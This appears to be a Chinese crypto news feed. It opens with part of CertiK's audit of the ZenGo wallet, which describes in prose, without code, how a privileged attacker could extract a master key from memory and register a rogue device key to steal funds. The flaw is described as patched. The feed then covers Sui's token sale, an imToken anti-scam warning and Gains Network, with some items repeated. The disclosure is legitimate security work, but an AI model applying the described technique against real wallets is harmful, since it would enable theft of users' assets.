这种由设备密钥注册的API缺乏必要的安全保护措施：攻击者可以在其他设备上生成一个新的NIST P-256椭圆曲线密钥，然后攻击者可以利用设备密钥注册API，并注册新生成的密钥对，假装新的用户设备并请求交易。 我们将这种攻击命名为设备分叉攻击。 如上文所述，攻击者需要拥有ZenGo用户的主密钥②和有效的设备密钥来窃取其资产。 主密钥②：主密钥②是一个固定的密钥，在内存中作为明文使用，以便参与双方的签名过程。由于双方签名算法的复杂性和独特性，这个过程不能在TEE中完成。因此，一个有特权权限的攻击者可以简单地转储进程内存或劫持某些系统API来提取主密钥②。下方截图显示了我们在iOS平台上能够提取到的主密钥②。 设备密钥：在注册或账号恢复过程中，TEE中的用户设备上会生成一个有效的设备密钥作为对前述明文提取威胁的解决方案。设备密钥并不能被有特权权限的攻击者读取，然而，攻击者可以使用相同的设备密钥注册API，从而来注册另一对密钥并使用它。 设备密钥注册API只有一个非常基础的认证机制：攻击者可以使用一个普通的明文本地存储的JWT 令牌和提取到的主密钥②进行API身份认证。根据设计，该API涉及到的服务器代码也应该经过Face tec生物识别认证。然而在实践中，由于逻辑缺陷，代码未能执行此环节。 在我们的模拟攻击中，我们模拟了一个具备特权权限的攻击者，并持续监控受害者的设备。一旦ZenGo应用程序被启动，我们便立即从内存中提取主密钥②，并从本地数据库中读取API令牌。而这些信息足以让攻击者盗取用户的全部资金！ 一旦有了API令牌，我们就会生成一个新的设备密钥，并调用设备密钥注册API从而在ZenGo服务器上注册设备密钥。随后，我们构建了所有的API请求，与ZenGo服务器交互来发起交易。对于MPC钱包来说，生成双方签名是一个非常独特并且复杂的过程。不过好在ZenGo的开发过程始终秉承着开源精神，我们才能够编译官方ZenGo应用程序中使用的双方签名库并在本地运行。 上图中展示了我们是如何提取主密钥②并代表受害者注册一个新的设备密钥的。随后我们利用这两个密钥向“攻击者的账户”发送了0.00222 ETH。这整个过程只用了几秒钟，并且受害者也会完全意识不到。 为了解决这个问题，ZenGo在服务器端为设备注册实施了FaceTec生物识别认证。服务器API级别的解决措施消除了这种攻击的可能性，且不需要更新客户端代码。 总结 在CertiK对ZenGo的评估中，我们彻底检查并审计了其为保护用户资产所采取的所有安全措施。这些措施包括双方签名方案、基于TEE的设备保护以及用来注册和恢复账号的生物识别。 尽管ZenGo有着较高的安全意识，并采取了诸多措施用来提高自己的安全性，CertiK还是在ZenGo的实施中发现了一个关键的可被利用的API访问认证风险。该漏洞可以让持有特权的攻击者绕过现有的安全措施，并在用户的设备被破坏时窃取用户的资金。 ZenGo及时解决了该问题并部署了一个补丁，CeritK随后也进行了彻底的进一步审计并确定该补丁已修复报告中提到的风险。 随着补丁的部署，我们相信ZenGo在日后可以有效地预防特权用户非法访问用户资金。防御特权攻击者是一项艰巨的任务，而ZenGo的安全实践向我们展示了全面保护用户的安全方法。该钱包的做法超过了目前市场上绝大多数常规钱包。 我们很荣幸能够与ZenGo合作，并很荣幸能够与ZenGo在保护Web 3用户安全方面做出共同努力并解决安全挑战。同时也感谢ZenGo对我们发现漏洞的及时回应与高效的漏洞补丁出台行动。 作为安全行业的从业者，我们很高兴看到一个顶级Web 3钱包公司如此重视安全，对用户和用户的资金具备如此高的责任心。希望在未来的安全道路中，我们可为更多项目提升安全性，为其用户赋予“安心”。  ( 2 min )
    解读Sui公链：特色优势、生态、代币模型、投资价值
    2023年4月20日根据官方推特消息公告，公链项目Sui已经敲定将在5月3日上线主网，而事先通过加密货币交易所发售的原生代币SUI也将在主网启动期间被解锁。关于SUI代币，此前Sui项目团队已经明确说明SUI代币不会进行空投，并于2023年4月15日确认将会采取IEO(首次交易所发行)的方式进行代币的发售。 对此IEO发售，KuCoin、Bybit和OKX也先后宣布将发售SUI，公开销售的认购价格为1SUI=0.1美元。但是社群对【SUI代币不会进行空投】的行为反应非常激烈，有部分网友在推文下留言说：NO AIRDROP = NO COMMUNITY（沒有空投，沒有社群）。没有使用空投激励社群活跃用户的行为确实很不Web3，但Sui团队也有将对公链生态有贡献的参与者加入购买白名单，使他们可以以更优惠的价格(0.03美元)买到SUI，并保障1500枚的额度。 那么SUI代币到底是否值得参与呢？本文将从多维的角度分析Sui公链，全方位带您解读SUI代币IEO信息。 Sui 是世界上第一个完全由前 Facebook 开发人员设计的无许可的 Layer 1 区块链。Sui 作为去中心化的 PoS 区块链，吞吐量和存储能实现横向扩展，其目标是成为第一个互联网规模的可编程区块链平台。Sui 生态系统采用了基于 Rust 的 Move 程式语言，并使用了目前与以太坊相同的 PoS 共识机制。其主要特色如下： 强大的可扩展性：该网路能够横向扩展吞吐量，因为它可以对因果独立的交易达成并行协议。他们通过拜占庭一致性广播(（Byzantine Braodcast）)实现这一点，这消除了全球共识造成的开销，同时又不牺牲安全性和活跃性保证。 安全的智能合约语言：Move 是一种程式语言，最初由 Facebook 开发，是一个用于撰写安全的智能合约。支持跨区块链的共享库、工具和开发人员社区。 能够定义复杂的链上资产：Sui 的可扩展性不仅限于事务处理。其存储也是低成本和可水平扩展的。这使开发人员能够定义具有丰富属性的复杂资产，这些资产直接存在于链上，而不是将间接层引入链下存储以节省 gas 费用。 更好的 Web3 用户体验： Sui 团队想让其成为最易于访问的智能合约平台，使开发人员能够在 Web3 中创造出色的用户体验。为了迎接下一个十亿用户，Sui 将为开发人员提供各种工具，以利用 Sui 区块链的强大功能。 Sui 开发工具包 (SDK) 将使开发人员能够无限制地进行构建。 总结来说，Sui 的架构以即时结算和高吞吐量、丰富的链上资产和出色的 Web3 体验著称，其可水平扩展的吞吐和存储量，可以以更低的成本实现高效的 DApp 开发。 Sui的开发团队为Mysten Labs，创始人包括 Evan Cheng、Adeniyi Abiodun、Sam Blackshear、George Danezis、Kostas Kryptos，均在 Facebook参与过 Novi 和 Diem 项目。 该项目于 2021 年 12 月宣布完成 3600 万美元 A 轮融资，该轮融资由 a16z 领投，Coinbase Ventures、NFX、Slow Ventures、Scribble Ventures、Samsung NEXT、Lux Capital 等参投。于 2022年 9 月8日，在由加密货币交易所风险投资公司 FTX Ventures 牵头的 B 轮融资中获得了 3 亿美元，其他投资者包括 Coinbase Ventures、Jump Crypto、a16z、Circle Ventures、Binance Labs 和 O'Leary Ventures等其他投资基金和合作伙伴。 此次在项目主网上线前先进行IEO的行为，也让许多网友不免质疑是否因为FTX去年暴雷而导致Sui项目团队资金紧缺。但也有人澄清说，Sui项目团队早已将FTX项目投资的1亿美元使用完毕，不需要为此担心。 截至目前为止，Sui生态已经吸引了许多团队进行了项目搭建，也有许多早期优质项目获得了Sui的grant，分别在跨链、SocialFi、流量、DeFi等赛道分布。以下为大家盘点四个已经获得Sui 项目团队grant的项目：   ComingChat：ComingChat 是一款 SocialFi 产品，该产品旨在解决Web3产品体验割裂的问题。该产品也植入了ChatGPT相关的一些情况，它是为用户提供了支持多条公链并提供 DeFi 和 GameFi 功能的Web3 门户应用程序。在应用层来看，ComingChat 包括 DID、钱包、加密通信、社交网络、DeFi、GameFi 等功能。在协议层上，ComingChat 以支持多链生态系统为最终目标   Movernance：Movernance 是 Sui 生态系统的第一个功能齐全的链上治理平台。它通过整合治理论坛和链上投票功能，为项目提供必要的去中心化治理。并且 Movernance 创新性地提出了权限治理框架和治理权市场（贿赂平台），提高了去中心化治理的整体效率，为项目的大规模应用提供了坚实的基础。 当前Sui生态发展比较均衡，正处于一个健康良性的发展状态，官方给予grant的几个项目也都是基于一条公链的核心刚需，期望帮助整个生态可以有条不紊的建设发展。就这些项目本身来说，并未有太多的创新和亮点，相信在未来公链基础搭建完毕后，在Sui生态上可以有更多新鲜创意的项目到来。 SUI代币总供应量为100亿枚，将分配给50%社区储备，20%早期贡献者，14%投资者，10%Mysten实验室金库，6%社区访问计划IEO和应用测试人员。代币主要有四个应用场景：网络质押，交易费用，储存费用，治理投票，以及SUI原生资产交易工具。 经济模型的五个核心组件： 权益证明机制 PoS 用于选择、激励和奖励 Sui 平台操作者（即验证者和 SUI 委托人）的行为。 所有网络操作都收取 Gas 费，用于奖励权益证明机制的参与者，防止垃圾信息和拒绝服务攻击。 Sui 的存储基金用于跨时间转移权益奖励，并补偿未来验证者先前存储的链上数据的存储成本。 链上投票用于治理和协议升级。 SUI 代币是 Sui 平台的原生资产。 与传统的权益证明链的代币经济学模型不同，Sui 的代币经济学模型增加了存储基金的功能。由于区块链是一种只增不减的数据结构，随着时间其链上需要维护的数据会越来越多，成本也会相应提高，这就导致了后期使用 Sui 的用户需要支付比早期用户更高的费用，存储基金就是为了解决这个问题而生，让早期用户支付更多费用，使所有户可基于类似的费用水平使用该网络。 此外，Sui 的存储基金还会支付给系统中的验证者，或者实际存储区块链数据并完成数据维护工作的人。随着维护工作的增加，给验证者的支出也会增加，这也会激励更多人成为系统中的验证者，而随着越来越多的人成为验证者，可用的存储空间总量也会增加，进一步导致写入区块链的 gas 费用降低。Sui 的代币经济学模型是高度可扩展链经济模型的典型代表，使用了博弈论来确保 gas 费在区块链的整个生命周期内保持相对恒定。 此次IEO在三大交易所进行，最新售卖详情如下： KuCoin：2.25E枚SUI（不支持大陆用户） A组普通公开发售，于4月15日08:00至4月22日24:00(UTC+8)进行，KuCoin将每小时随机对用户USDT, USDC, ETH, KCS总余额进行快照，决定每个用户最终可以获得彩票数量，在预定期结束后，将通过抽奖方式选出获奖者。 B组识别销售，于4月20日09:30至4月22日24:00(UTC+8)进行，所有白名单用户需完成所有认购流程。此轮仅适用于 Sui 的早期贡献者，必须是 Sui 白名单用户。可以点击链接查看资格：https://verifysupporters.sui.io/ ，Sui 已通过电子邮件联系了白名单用户，用户可以使用分配账户的电子邮件地址参与 KuCoin。 Bybit：9.4E枚SUI（不支持大陆用户） 在Bybit旗下代币销售平台ByStarter进行认购 申购期：4月21日12:00至4月24日08:59(UTC+8) 分配期：4月24日09:00至4月24日13:59(UTC+8) 结果公布：4月24日14:00(UTC+8) OKX：2.25E枚SUI（支持大陆用户） 在OKX旗下代币销售平台JumpStart进行认购 申购期：4月23日10:00至4月24日10:00(UTC+8) 中签统计：4月24日10:00(UTC+8) 代币开始发放：4月24日18:00(UTC+8) 白名单资格： 在 2023 年 2 月 1 日之前加入 Sui Discord 社区的早期参与者，他们提供建议、参与讨论、与生态系统项目互动并倡导技术创新，为 Sui 生态系统的发展作出了重要贡献。（抽取概率大概为20%） 在 Testnet Wave 1 的 Capy Holidays 竞赛中，通过社交媒体投票选出的获胜者将根据规定的竞赛条款获得 SUI的奖励。 参与组织和运营 Builder Houses 和其他重要活动的成员，他们展现出的对 Sui 的热爱以及所付出的大量时间和精力，在主网上线后将获得 SUI 的奖励。 Sui 通常与 Aptos 进行比较，因为这两个项目都是由前 Facebook 员工创办，尽管 Aptos 绝对值得赞扬，但是 Sui 却被视为高级版本，技术方面更加扎实看起来更优一些。Aptos目前的全流通估值为 130 亿美元，流通市值为 23 亿美元，既然市场给予 Aptos 目前如此高的估值，那么 Sui 也会有极高的估值。 Sui这次的IEO公售计划确实让非常多的社区用户寒心，对未来社区的搭建也是不利的，让许多活跃参与者流失了信心。客观来说，虽然Sui项目团队不擅长市场营销，但是本次Sui的IEO还是在社区积攒了大量的讨论热度和关注，并且Sui公链的技术性和稳定性是值得肯定的。 总的来说，拥有实力雄厚的团队背景，参考APT的话，Sui或许可以拥有非常高的估值，当前IEO又导致SUI 在市场上引发了大量炒作和关注，可能会带来强大的fomo情绪。但Sui团队市场运营的短板也让人不禁担忧，以及FTX资金问题也没有办法完全得到澄清。 veDAO研究团队在此提醒，强调SUI代币不存在空投，IEO期间谨防诈骗。如果您SUI此次的IEO感兴趣，以下链接可以将您快速传送： SUI详细资料：https://app.vedao.com/projects/ SUI官方网址：https://sui.io/ SUI官方推特：https://twitter.com/SuiNetwork 代币经济白皮书：The Sui Smart Contracts Platform: Economics and Incentives 链接：https://github.com/MystenLabs/sui/blob/main/doc/paper/tokenomics.pdf  ( 4 min )
    解读Sui公链：特色优势、生态、代币模型、投资价值
    2023年4月20日根据官方推特消息公告，公链项目Sui已经敲定将在5月3日上线主网，而事先通过加密货币交易所发售的原生代币SUI也将在主网启动期间被解锁。关于SUI代币，此前Sui项目团队已经明确说明SUI代币不会进行空投，并于2023年4月15日确认将会采取IEO(首次交易所发行)的方式进行代币的发售。 对此IEO发售，KuCoin、Bybit和OKX也先后宣布将发售SUI，公开销售的认购价格为1SUI=0.1美元。但是社群对【SUI代币不会进行空投】的行为反应非常激烈，有部分网友在推文下留言说：NO AIRDROP = NO COMMUNITY（沒有空投，沒有社群）。没有使用空投激励社群活跃用户的行为确实很不Web3，但Sui团队也有将对公链生态有贡献的参与者加入购买白名单，使他们可以以更优惠的价格(0.03美元)买到SUI，并保障1500枚的额度。 那么SUI代币到底是否值得参与呢？本文将从多维的角度分析Sui公链，全方位带您解读SUI代币IEO信息。 Sui 是世界上第一个完全由前 Facebook 开发人员设计的无许可的 Layer 1 区块链。Sui 作为去中心化的 PoS 区块链，吞吐量和存储能实现横向扩展，其目标是成为第一个互联网规模的可编程区块链平台。Sui 生态系统采用了基于 Rust 的 Move 程式语言，并使用了目前与以太坊相同的 PoS 共识机制。其主要特色如下： 强大的可扩展性：该网路能够横向扩展吞吐量，因为它可以对因果独立的交易达成并行协议。他们通过拜占庭一致性广播(（Byzantine Braodcast）)实现这一点，这消除了全球共识造成的开销，同时又不牺牲安全性和活跃性保证。 安全的智能合约语言：Move 是一种程式语言，最初由 Facebook 开发，是一个用于撰写安全的智能合约。支持跨区块链的共享库、工具和开发人员社区。 能够定义复杂的链上资产：Sui 的可扩展性不仅限于事务处理。其存储也是低成本和可水平扩展的。这使开发人员能够定义具有丰富属性的复杂资产，这些资产直接存在于链上，而不是将间接层引入链下存储以节省 gas 费用。 更好的 Web3 用户体验： Sui 团队想让其成为最易于访问的智能合约平台，使开发人员能够在 Web3 中创造出色的用户体验。为了迎接下一个十亿用户，Sui 将为开发人员提供各种工具，以利用 Sui 区块链的强大功能。 Sui 开发工具包 (SDK) 将使开发人员能够无限制地进行构建。 总结来说，Sui 的架构以即时结算和高吞吐量、丰富的链上资产和出色的 Web3 体验著称，其可水平扩展的吞吐和存储量，可以以更低的成本实现高效的 DApp 开发。 Sui的开发团队为Mysten Labs，创始人包括 Evan Cheng、Adeniyi Abiodun、Sam Blackshear、George Danezis、Kostas Kryptos，均在 Facebook参与过 Novi 和 Diem 项目。 该项目于 2021 年 12 月宣布完成 3600 万美元 A 轮融资，该轮融资由 a16z 领投，Coinbase Ventures、NFX、Slow Ventures、Scribble Ventures、Samsung NEXT、Lux Capital 等参投。于 2022年 9 月8日，在由加密货币交易所风险投资公司 FTX Ventures 牵头的 B 轮融资中获得了 3 亿美元，其他投资者包括 Coinbase Ventures、Jump Crypto、a16z、Circle Ventures、Binance Labs 和 O'Leary Ventures等其他投资基金和合作伙伴。 此次在项目主网上线前先进行IEO的行为，也让许多网友不免质疑是否因为FTX去年暴雷而导致Sui项目团队资金紧缺。但也有人澄清说，Sui项目团队早已将FTX项目投资的1亿美元使用完毕，不需要为此担心。 截至目前为止，Sui生态已经吸引了许多团队进行了项目搭建，也有许多早期优质项目获得了Sui的grant，分别在跨链、SocialFi、流量、DeFi等赛道分布。以下为大家盘点四个已经获得Sui 项目团队grant的项目：   ComingChat：ComingChat 是一款 SocialFi 产品，该产品旨在解决Web3产品体验割裂的问题。该产品也植入了ChatGPT相关的一些情况，它是为用户提供了支持多条公链并提供 DeFi 和 GameFi 功能的Web3 门户应用程序。在应用层来看，ComingChat 包括 DID、钱包、加密通信、社交网络、DeFi、GameFi 等功能。在协议层上，ComingChat 以支持多链生态系统为最终目标   Movernance：Movernance 是 Sui 生态系统的第一个功能齐全的链上治理平台。它通过整合治理论坛和链上投票功能，为项目提供必要的去中心化治理。并且 Movernance 创新性地提出了权限治理框架和治理权市场（贿赂平台），提高了去中心化治理的整体效率，为项目的大规模应用提供了坚实的基础。 当前Sui生态发展比较均衡，正处于一个健康良性的发展状态，官方给予grant的几个项目也都是基于一条公链的核心刚需，期望帮助整个生态可以有条不紊的建设发展。就这些项目本身来说，并未有太多的创新和亮点，相信在未来公链基础搭建完毕后，在Sui生态上可以有更多新鲜创意的项目到来。 SUI代币总供应量为100亿枚，将分配给50%社区储备，20%早期贡献者，14%投资者，10%Mysten实验室金库，6%社区访问计划IEO和应用测试人员。代币主要有四个应用场景：网络质押，交易费用，储存费用，治理投票，以及SUI原生资产交易工具。 经济模型的五个核心组件： 权益证明机制 PoS 用于选择、激励和奖励 Sui 平台操作者（即验证者和 SUI 委托人）的行为。 所有网络操作都收取 Gas 费，用于奖励权益证明机制的参与者，防止垃圾信息和拒绝服务攻击。 Sui 的存储基金用于跨时间转移权益奖励，并补偿未来验证者先前存储的链上数据的存储成本。 链上投票用于治理和协议升级。 SUI 代币是 Sui 平台的原生资产。 与传统的权益证明链的代币经济学模型不同，Sui 的代币经济学模型增加了存储基金的功能。由于区块链是一种只增不减的数据结构，随着时间其链上需要维护的数据会越来越多，成本也会相应提高，这就导致了后期使用 Sui 的用户需要支付比早期用户更高的费用，存储基金就是为了解决这个问题而生，让早期用户支付更多费用，使所有户可基于类似的费用水平使用该网络。 此外，Sui 的存储基金还会支付给系统中的验证者，或者实际存储区块链数据并完成数据维护工作的人。随着维护工作的增加，给验证者的支出也会增加，这也会激励更多人成为系统中的验证者，而随着越来越多的人成为验证者，可用的存储空间总量也会增加，进一步导致写入区块链的 gas 费用降低。Sui 的代币经济学模型是高度可扩展链经济模型的典型代表，使用了博弈论来确保 gas 费在区块链的整个生命周期内保持相对恒定。 此次IEO在三大交易所进行，最新售卖详情如下： KuCoin：2.25E枚SUI（不支持大陆用户） A组普通公开发售，于4月15日08:00至4月22日24:00(UTC+8)进行，KuCoin将每小时随机对用户USDT, USDC, ETH, KCS总余额进行快照，决定每个用户最终可以获得彩票数量，在预定期结束后，将通过抽奖方式选出获奖者。 B组识别销售，于4月20日09:30至4月22日24:00(UTC+8)进行，所有白名单用户需完成所有认购流程。此轮仅适用于 Sui 的早期贡献者，必须是 Sui 白名单用户。可以点击链接查看资格：https://verifysupporters.sui.io/ ，Sui 已通过电子邮件联系了白名单用户，用户可以使用分配账户的电子邮件地址参与 KuCoin。 Bybit：9.4E枚SUI（不支持大陆用户） 在Bybit旗下代币销售平台ByStarter进行认购 申购期：4月21日12:00至4月24日08:59(UTC+8) 分配期：4月24日09:00至4月24日13:59(UTC+8) 结果公布：4月24日14:00(UTC+8) OKX：2.25E枚SUI（支持大陆用户） 在OKX旗下代币销售平台JumpStart进行认购 申购期：4月23日10:00至4月24日10:00(UTC+8) 中签统计：4月24日10:00(UTC+8) 代币开始发放：4月24日18:00(UTC+8) 白名单资格： 在 2023 年 2 月 1 日之前加入 Sui Discord 社区的早期参与者，他们提供建议、参与讨论、与生态系统项目互动并倡导技术创新，为 Sui 生态系统的发展作出了重要贡献。（抽取概率大概为20%） 在 Testnet Wave 1 的 Capy Holidays 竞赛中，通过社交媒体投票选出的获胜者将根据规定的竞赛条款获得 SUI的奖励。 参与组织和运营 Builder Houses 和其他重要活动的成员，他们展现出的对 Sui 的热爱以及所付出的大量时间和精力，在主网上线后将获得 SUI 的奖励。 Sui 通常与 Aptos 进行比较，因为这两个项目都是由前 Facebook 员工创办，尽管 Aptos 绝对值得赞扬，但是 Sui 却被视为高级版本，技术方面更加扎实看起来更优一些。Aptos目前的全流通估值为 130 亿美元，流通市值为 23 亿美元，既然市场给予 Aptos 目前如此高的估值，那么 Sui 也会有极高的估值。 Sui这次的IEO公售计划确实让非常多的社区用户寒心，对未来社区的搭建也是不利的，让许多活跃参与者流失了信心。客观来说，虽然Sui项目团队不擅长市场营销，但是本次Sui的IEO还是在社区积攒了大量的讨论热度和关注，并且Sui公链的技术性和稳定性是值得肯定的。 总的来说，拥有实力雄厚的团队背景，参考APT的话，Sui或许可以拥有非常高的估值，当前IEO又导致SUI 在市场上引发了大量炒作和关注，可能会带来强大的fomo情绪。但Sui团队市场运营的短板也让人不禁担忧，以及FTX资金问题也没有办法完全得到澄清。 veDAO研究团队在此提醒，强调SUI代币不存在空投，IEO期间谨防诈骗。如果您SUI此次的IEO感兴趣，以下链接可以将您快速传送： SUI详细资料：https://app.vedao.com/projects/ SUI官方网址：https://sui.io/ SUI官方推特：https://twitter.com/SuiNetwork 代币经济白皮书：The Sui Smart Contracts Platform: Economics and Incentives 链接：https://github.com/MystenLabs/sui/blob/main/doc/paper/tokenomics.pdf  ( 4 min )
    imToken安全提醒：所有通过短信或电话主动联系用户的均是诈骗分子
    PANews 4月23日消息，去中心化钱包imToken官方发布安全提醒，近期，诈骗分子假冒imToken官方人员，通过发送短信等方式联系用户，谎称imToken将于近期关闭服务等，诱导用户访问假网站并输入助记词，导致用户遭受资产损失。 安全提醒称：1.imToken不会通过短信或电话主动联系用户；2.所有通过短信或电话主动联系的都不是imToken官方人员；3.imToken各项功能及服务均正常，用户无需担心；4.妥善保管自己的助记词或私钥，不要泄漏给任何人。  ( 1 min )
    imToken安全提醒：所有通过短信或电话主动联系用户的均是诈骗分子
    PANews 4月23日消息，去中心化钱包imToken官方发布安全提醒，近期，诈骗分子假冒imToken官方人员，通过发送短信等方式联系用户，谎称imToken将于近期关闭服务等，诱导用户访问假网站并输入助记词，导致用户遭受资产损失。 安全提醒称：1.imToken不会通过短信或电话主动联系用户；2.所有通过短信或电话主动联系的都不是imToken官方人员；3.imToken各项功能及服务均正常，用户无需担心；4.妥善保管自己的助记词或私钥，不要泄漏给任何人。  ( 1 min )
    全面解读Gains Network：走近去中心化杠杆交易的黑暗森林
    Author: Xiaona & Bee (Twitter:@llamabee1 ) Editor: Ashley &Sarah gTrade是Gains Network 推出的第一款产品，它是一个去中心化杠杆交易平台，目前部署在Arbitrum及Polygon上。 一、gTrade 核心特点 （一）合成流动性池 合成流动性池对于流动性池的高效运作至关重要。目前，gTrade采用的是基于DAI的合成流动性池（gDAI池）来扮演杠杆交易者的对手盘角色。这个流动性池的设计有几个特点：首先，它的合成机制可以使得资金使用效率更高。 其次，它的合成机制可以使得交易更加灵活。因为通过合成流动性池，gTrade可以提供更多的杠杆交易对，这意味着交易者可以更灵活地选择交易对，并可以根据市场情况进行交易。 最后gTrade的合成流动性池可以通过不同的合成机制来控制风险，例如通过调整杠杆倍数或者通过限制合成流动性池的规模等方式来降低风险。这样可以使得交易者和提供流动性者都可以更加安心地参与到交易中。 dydx采用orderbook机制，这种机制要求在链下储存orderbook，还需要做市商提供流动性，因此去中心化程度不高且资金效率低。 相比之下，gTrade的gDAI池避免了这些问题，并且无需为每个交易对设置流动性池。与GMX相比，虽然它们都使用流动性池提供流动性，但gTrade表现出了极高的资金效率。 以近7天的数据为例，gTrade的50m gDAI池TVL实现了913m的交易量，Volume/TVL为18。而GMX则以466m的GLP池TVL实现了2.2b的交易量，Volume/TVL为4.7。显而易见，在此期间，gTrade的资金效率是GMX的3倍以上。 然而，较高的资金效率也带来了一些风险，因此gTrade采取了多项保护措施。 （二）丰富的交易对 同时支持多种交易对及高杠杆是gTrade的又一重要特色。它是目前唯一一个支持91+交易对的链上杠杆交易平台，交易对覆盖加密货币、外汇和股票等三个方面。gTrade平台上外汇的杠杆可以高达1000倍，加密资产的杠杆可以高达150倍，这些都是目前GMX做不到的。 （三）自制预言机 gTrade用的预言机DON是创始人用Chainlink搭建的底层。DON有8个节点，通过7个不同交易所的API获取价格，对gTrade实时喂价。有效防止了价格操纵，也保证了价格的精确性。 中心化交易所会有插针的现象，这类情况在gTrade上就不会发生。因为他们所拿到的数据以及之后的执行都是在链上完成的，7个API和8个节点也将作恶的可能性降到最低。 （四）交易费用及保护机制 1.Fixed Spread 除了基础的Opening和Closing费用，gTrade还会额外收取一个Fixed Spread。对于BTC和ETH等大市值的加密货币、Forex及美股等这些比较难以操纵的资产，gTrade设定了一个固定的费用。 2.Price Impact Price Impact对gTrade的安全性有很好的保护作用，这是GMX没有的。正因为如此，GMX无法让用户做小币种的交易。如果一笔交易在场内平台上的Open Interest很高，但场外其他交易所流动性不高，这个Price Impact可能就会越大。 Luna事件发生时，gTrade团队本着去中心化的原则，坚持不干预Luna的交易与下架，最后市场掏空了平台的流动性，项目几乎陷入绝境。 Luna事件之后，平台增加了很多保护机制。其实，在有Price Impact费用的情况下，Luna事件对gTrade的影响比较有限，因为交易者必须支付高额的Impact费用。 3.Rollover Fee Rollover Fee会导致用户在持仓过程中始终要支付费用，而此费用与市场的波动性相关，即市场波动性越大，该费用就会越高。因为波动性越大，它对gTrade的影响就会越大，最终目的是让用户快速平仓。 最近，团队提高了Rollover Fee的收费。原因是团队计算出，如果有一些大型仓位在做对冲，而不提高Rollover Fee的话，他们可以在gTrade上以很低的成本做对冲并长期持仓，这将导致他们的Open Interest变得很少，就会很少人能够实际进行杠杆交易。因此，他们提高了该费用，这样这些人就无法一直长期持仓或以非常便宜的方式在gTrade上做对冲，这是Rollover Fee的另一个保护功能。 4.Funding Fee 与 GMX 最大的不同在于 Funding Fee，GMX 上的交易方式是，用户在进行杠杆交易的时候必须支付借贷费给 GLP 的流动性提供者。而在 gTrade 上，它以 Funding Fee 的方式来平衡做空和做多的交易者，所以持仓更多的一方会支付较少的费用。正是因为 Funding Fee 这种平衡做多和做空交易者的方式，gTrade 上的杠杆交易更加平衡和公平。 此外，gTrade 还有其他保护措施，例如最高收益为 900%，一笔交易最多只能赚取 900%，并在获得 900% 收益时自动平仓；如果用户的抵押品或本金损失达到 90%，它也会自动帮用户平仓。这些保护措施可以保证用户在进行高风险的杠杆交易时，不会承担过大的风险。 普通用户参与gTrade 一般可以使用如下几个功能： gTrade是一个杠杆交易平台，为擅长交易的用户提供一个良好的交易环境。同时，它也提供了许多其他的DeFi玩法。由于它是一个突破性的平台，因此您可以通过为其流动性池提供流动性来赚取收益。 gDAI池有许多特点，大多数单币种质押品提供流动性的杠杆交易平台往往面临着当交易者赚很多钱时亏损的风险。但是gTrade采取了多种机制来降低gDAI池亏损的风险，使其几乎接近于0。 此外，Gains Network还有自己的代币GNS，这是一个用途广泛的代币，将来将为平台赋能治理功能。目前，持有GNS代币可以将其存入Gains Network，分享平台收益。除此之外，在gTrade上进行各种类型的交易都是通过去中心化的NFT bot来执行的。因此，如果要进行相应的操作，就必须持有相应的NFT。 gTrade的目标用户是那些想要进行交易的人。如果您有相应的资源，也可以尝试申请Referral Program。 二、gToken流动性池 关于gToken流动性池，gDAI只是它的第一个抵押品，未来它还会加入gETH、gBTC以及gFrax、gLUSD等抵押品。 USDC 的风险确实造成了一些恐慌，这也激发了团队将这个需求排在更高的优先级。目前正在抓紧推出下一个较为去中心化的流动性池，如果下一个推出的是gETH的话，交易者可以用ETH作为抵押品，提供流动性的人可以获得ETH作为收益。 值得注意的是，与其他类似协议最大的不同点在于gTrade的结算方式。如果你是用一个以太来开单的话，你的交易对如果涨幅是10%，你的收益就是10%，以以太计算。与之相比，GMX 的杠杆交易结算方式是以 USD 价格来做的，但是支付给交易者的盈利处决于交易者是做多还是做空，如果交易者做多：GMX 会以他们做多交易的资产支付盈利；如果交易者做空：GMX 会以稳定币的方式支付盈利。 gToken的流动性运作方式是这样的：如果你是存款人要存入DAI的话，你拿到的收据就是gDAI，你把这个DAI放进去，拿到的是一个收据（这个其实是一个ERC20的代币，你可以用在其他的DeFi协议上）。如果你去提款的话，你把gDAI拿回去，它把gDAI烧毁，你可以拿出你的DAI。 目前gTrade只有gDAI这一种交易对，但值得关注的是，即使它现在只有5000万美元的gDAI，它已经处理了18倍的交易量。如果团队加入更多的抵押品，交易量还可以扩展更多，所以相比GMX，gTrade拥有更大的扩展潜力。 gToken特别在哪里？ 前面提到，它的gDAI池就是交易者的对手盘，也就是说如果交易者获利的话，他会从gDAI池里拿走DAI，如果交易者输钱，交易者的DAI就会进入流动性池。 当用户存入DAI的时候，可以从池子拿到收据gDAI，它代表着存款人在这个池子里的份额，有两个因素可以影响gDAI价格，第一个因素是交易累积的交易费，交易费是前面提到的opening和closing fee这两块，这部分永远只会上升。第二个因素是作为用户对手盘的盈亏，但只有在不足抵押的状况下，才会影响到gDAI的价格，因为它还有一个buffer的保护层。 gDAI价格计算方式还算简单，假设初始场景下池子有100个DAI，然后它的总gDAI的发行量是100个，现在一个gDAI价值就是一个DAI。如果现在平台赚入了150美金的收益，现在gDAI池里就有250个DAI，但是gDAI的发行量还是只有100个，这时候一个gDAI的价值是2.5个DAI。 那buffer是什么呢？要解释buffer，我们必须要理解它的gDAI池子的抵押率，它的抵押率会受交易者盈亏的影响，它的每一个Epoch会把交易者的盈亏结算下来，只要赚取的费用大于交易者盈亏的支出，那这个Epoch就会有正回报的收入。 如果我们去他们的网页看的话，在Vault、CR这个部分，把数据拉下来会看到很多数字，但有两个数字一个是TVL，另一个是Collateration抵押率，这两个数据差距比较高，它的差价就是它的buffer，它的保护层。要去计算它的CR的话就是把抵押品总值除以TVL，这个百分比就是它的buffer。 在Dune Analytics可以看到，在它gDAI池子的下面是100%的部分，而多出来的4%这个部分就是buffer，它的balance其实是比TVL还高一些，它有什么作用呢？主要作用就是吸收交易者的盈亏带来的影响。 当它的抵押率大于100%，交易者的盈亏对gDAI完全没有影响，只有在抵押率小于100%的时候，交易者的盈亏才会对gDAI开始有短期性的影响，这里必须要强调一下是短期性的。因为这个时候协议就会开始铸造GNS，并以OTC的方式卖成DAI，用以弥补这个gDAI池的亏损。 gDAI的流动性池基本上有三个保护层，第一个保护层是buffer，有了buffer交易者的盈亏对gDAI持有人没有影响。第二个保护层就是他的TVL，当buffer不见的时候交易者的盈亏才开始影响到gDAI的价格，但是这个时候GNS已经开始铸造，用来弥补这个池子的亏损。第三层是在GNS铸造的同时，平台还是正常运行的，一方面协议有收入，另一方面交易者可能会亏损来回补流动性池。最终以这三种方式把池子带回到100%。 